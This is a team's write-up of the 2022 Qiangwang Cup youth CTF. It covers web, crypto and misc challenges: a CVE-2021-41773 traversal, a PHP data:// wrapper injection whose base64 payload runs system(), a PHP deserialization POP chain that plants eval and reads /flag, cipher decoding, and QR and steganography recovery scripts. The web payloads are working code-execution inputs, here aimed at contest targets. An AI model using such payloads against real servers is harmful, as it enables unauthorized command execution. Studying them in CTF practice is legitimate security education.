0x00
年龄刚好可以最后参加一次,就和几个小伙伴报名参加了一下,最后排名总榜21,成功拿到决赛门票(美汁汁?)
0x01 正文
Web1
签到题,CVE-2021-41773穿越漏洞,网上找一下poc直接一把梭
Web2
进入题目环境
<?php
highlight_file(__FILE__);
error_reporting(0);
if(isset($_GET['file'])&&strlen($_GET['file'])>strlen("flag in cream")){
die("too long,no flag");
}
$fp = fopen($_GET['file'], 'r+');
if(preg_match("/php|file|http|eval|exec|system|popen|flag|<|>|"|'/i", $_GET['content'])){
die("hacker");
}
fputs($fp, $_GET['content']);
rewind($fp);
$data=stream_get_contents($fp);
include($data);
?
本地调试发现代码接受传参的之后的顺序有些不同,然后rewind取第一个值,类似于123,123 取第一123,根据后面的过滤代码,执行伪协议
进而构造payload:
?file=data://,1111&content=data://text/plain;base64,PD9waHAgc3lzdGVtKCd0eXBlIGluZGV4LnBocCcpOz8+
Web3
进入赛题环境
是一个pop的题目
构造pop链Sliver:: __destruct -> Range:: __toString -> Water:: __get -> Circle:: __invoke -> Circle::runc
$a = new Sliver;
$a->secret = new Range;
$a->secret->link = new Water;
$a->secret->link->waterfall = new Circle;
echo urlencode(serialize($a));
利用//绕过
Poc:
http://eci-2ze158r2q295c121rafg.cloudeci1.ichunqiu.com//
demo.php
?data=O%3A6%3A%22Sliver%22%3A2%3A%7Bs%3A6%3A%22secret%22%3BO%3A5%3A%22Range%22%3A2%3A%7Bs%3A5%3A%22horis%22%3BN%3Bs%3A4%3A%22link%22%3BO%3A5%3A%22Water%22%3A1%3A%7Bs%3A9%3A%22waterfall%22%3BO%3A6%3A%22Circle%22%3A2%3A%7Bs%3A6%3A%22daemon%22%3BN%3Bs%3A7%3A%22%00%2A%00dash%22%3Bs%3A16%3A%22%40eval%28%24_GET%5Ba%5D%29%3B%22%3B%7D%7D%7Ds%3A5%3A%22resty%22%3BN%3B%7D&a=system("cat /flag");
Crypto1
下载附件打开是ABAB的编码,一眼丁真,不是培根就是摩斯
上工具
之后的编码试了挺久的,差不多是把全部工具都用了一遍,最后试到是单表替换的
然后flag就是中间的字符:flag{1d817f23-4e20-9405-bf6d-e83d055316d6}
Crypto2
比较阴间的解码
显示栅栏编码解码,推荐“千千子秀”的在线,其他的一直解码不正确
然后就可以看到flag的头了,之后要将大小写符号分开:大写和符号是rot32的编码,小写的是rot31编码
贴个脚本
strings = 'FLAG[vxpsDqCElwwoClsoColwpuvlqFvvFrpopBss]'
res=''
for j in strings:
#print(ord(i))
if str.isupper(j):
i=(chr(ord(j)+32))
else:
i=(chr(ord(j)-32-31))
res+=i
print(res)
运行就可以得到flag,自己手动报上大括号
Misc1
题目简介说的是“万能和弦”
百度就可以知道是个什么意思
应该是密码什么的,暂且不管。
附件是png图片,打开看文件数据,是base64,解码得到的
真正的png数据,但是数据是错乱的,百度可以找到相关脚本恢复一下
data = open("data.txt",'r').read()
data = data.split(" ")
data1 = []
for i in range(0,len(data),2):
data1.append(data[i+1])
data1.append(data[i])
f = open("ctf.txt",'wb')
for i in data1:
f.write(i.encode())
f.close()
然后得到图片
加上刚才提示密码 结合题目 猜测lsb加密隐写,git上找工具
使用工具
python2 lsb.py extract 1.png 1.txt 4536251
得到1.txt
Misc2
这个题目是之前比赛的一个原题(祥云杯),但是只用了一半
附件是一个二维码,29×29的,看到之后,就知道是原题(偷偷吐槽,图片flag都没有换)
是一个错误的二维码,主要就是三角边的三个定位符错位了,网上找到脚本进行爆破
data = [[1,1,1,1,1,1,1,0,1,0,1,1,0,0,1,1,0,1,0,0,1,0,1,1,1,1,1,1,1],
[1,0,0,0,0,0,1,0,1,0,1,0,0,0,1,0,0,0,0,1,1,0,1,0,0,0,0,0,1],
[1,0,1,1,1,0,1,0,1,0,1,1,1,1,1,0,0,0,0,1,1,0,1,0,1,1,1,0,1],
[1,0,1,1,1,0,1,0,0,1,0,0,1,1,1,0,0,1,1,0,1,0,1,0,1,1,1,0,1],
[1,0,1,1,1,0,1,0,1,0,0,0,0,1,0,0,0,0,1,1,0,0,1,0,1,1,1,0,1],
[1,0,0,0,0,0,1,0,0,0,1,0,0,0,1,0,0,1,0,0,1,0,1,0,0,0,0,0,1],
[1,1,1,1,1,1,1,0,1,0,1,0,1,0,1,0,1,0,1,0,1,0,1,1,1,1,1,1,1],
[0,0,0,0,0,0,0,0,0,1,0,1,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0],
[1,0,0,1,1,1,1,1,1,0,1,0,0,0,0,1,1,1,1,1,1,1,0,0,1,0,1,1,1],
[1,1,1,1,0,0,0,0,1,1,0,0,0,0,0,1,1,0,0,0,1,0,1,1,1,1,0,0,1],
[1,1,0,0,1,0,1,1,0,0,1,1,1,1,0,1,0,1,0,1,1,0,0,1,1,0,1,0,1],
[0,1,1,0,1,0,0,0,0,0,0,0,1,0,0,0,1,0,1,0,0,1,1,0,1,1,1,0,1],
[1,1,0,0,1,0,1,1,0,0,0,1,0,1,0,1,0,0,0,1,0,1,1,1,0,1,0,0,1],
[1,1,1,0,1,0,0,0,0,1,0,1,1,0,0,1,0,1,0,1,0,0,0,1,1,1,0,0,0],
[0,0,0,0,1,0,1,1,0,0,1,0,1,0,1,1,0,1,1,0,1,1,1,0,1,1,0,0,0],
[1,1,1,1,1,1,0,1,0,0,0,1,0,1,0,1,0,0,1,0,1,1,0,1,1,1,1,0,1],
[0,1,1,1,0,1,1,1,1,0,0,1,0,1,0,0,0,0,1,1,1,0,0,0,0,0,0,0,1],
[1,0,0,1,1,0,0,0,1,1,1,0,1,1,0,1,0,1,0,1,1,1,0,0,1,1,1,0,0],
[1,0,1,1,1,1,1,1,0,0,1,0,1,0,1,1,1,0,1,1,0,1,1,1,0,0,0,1,1],
[1,0,1,1,1,1,0,0,1,1,0,1,1,0,1,0,0,1,1,0,1,1,1,1,1,1,0,1,1],
[1,1,1,1,1,0,1,1,0,0,0,0,1,0,1,1,1,1,1,1,1,1,1,1,1,0,1,0,1],
[0,0,0,0,0,0,0,0,1,0,1,1,0,1,0,1,0,0,0,1,1,0,0,0,1,0,1,0,0],
[1,1,1,1,1,1,1,0,1,0,0,1,0,1,0,1,0,1,1,1,1,0,1,0,1,1,0,0,0],
[1,0,0,0,0,0,1,0,1,1,1,0,1,0,1,0,1,1,1,0,1,0,0,0,1,0,0,0,0],
[1,0,1,1,1,0,1,0,1,0,0,0,1,1,1,0,0,0,1,1,1,1,1,1,1,0,0,1,0],
[1,0,1,1,1,0,1,0,1,0,1,1,0,0,1,1,0,1,1,0,1,0,0,1,0,1,1,0,1],
[1,0,1,1,1,0,1,0,0,1,0,0,0,1,0,1,0,0,0,0,0,0,0,0,1,0,0,1,1],
[1,0,0,0,0,0,1,0,0,0,1,0,0,1,0,0,1,0,0,1,0,1,1,0,1,0,1,0,1],
[1,1,1,1,1,1,1,0,1,0,1,0,0,0,0,1,0,0,0,0,1,0,1,1,0,1,0,0,0]]
import pyzbar.pyzbar as pyzbar
from itertools import permutations
from PIL import Image, ImageDraw as draw
import matplotlib.pyplot as plt
from tqdm import tqdm
shuffle_1 = [9, 11, 13, 15, 17, 19]
shuffle_2 = [10, 12, 14, 16, 18]
head = data[:9]
tail = data[20:]
def body(body_1, body_2): # 获取中间部分的一种排列
body = []
for i in range(5):
body.append(body_1[i])
body.append(body_2[i])
body.append(body_1[5])
return [data[i] for i in body]
def draw_img(data): # 生成二维码图片
assert len(data) == 29 and len(data[0]) == 29
img = Image.new('RGB', (31, 31), (255,255,255))
for i, row in enumerate(data):
for j, pixel in enumerate(row):
img.putpixel((j + 1, i + 1), (0,0,0) if pixel == 1 else (255,255,255))
return img
with tqdm(total=720 * 120) as pbar:
for body_1 in permutations(shuffle_1):
for body_2 in permutations(shuffle_2):
im = draw_img(head + body(body_1, body_2) + tail)
barcodes = pyzbar.decode(im)
pbar.update(1)
if(len(barcodes) == 0):
continue
for barcode in barcodes:
barcodeData = barcode.data.decode("utf-8")
print(barcodeData)
plt.imshow(im)
plt.show()
直接运行脚本就可以得到flag(可能要多运行几遍)
Misc3
(再次吐槽,做法考点和misc1完全一样)
题目简介就提示了隐写,
winhex打开附件
下面看到密码的东西
然后使用binwalk分离可以得到一个压缩包,解压压缩包又可以得到另一个图片
加上上面的那个类似密码的东西,一眼丁真(i春秋退钱!!),lsb加密隐写
– End –
原文始发于微信公众号(NS Demon团队):2022年强网杯青少年专项赛writeup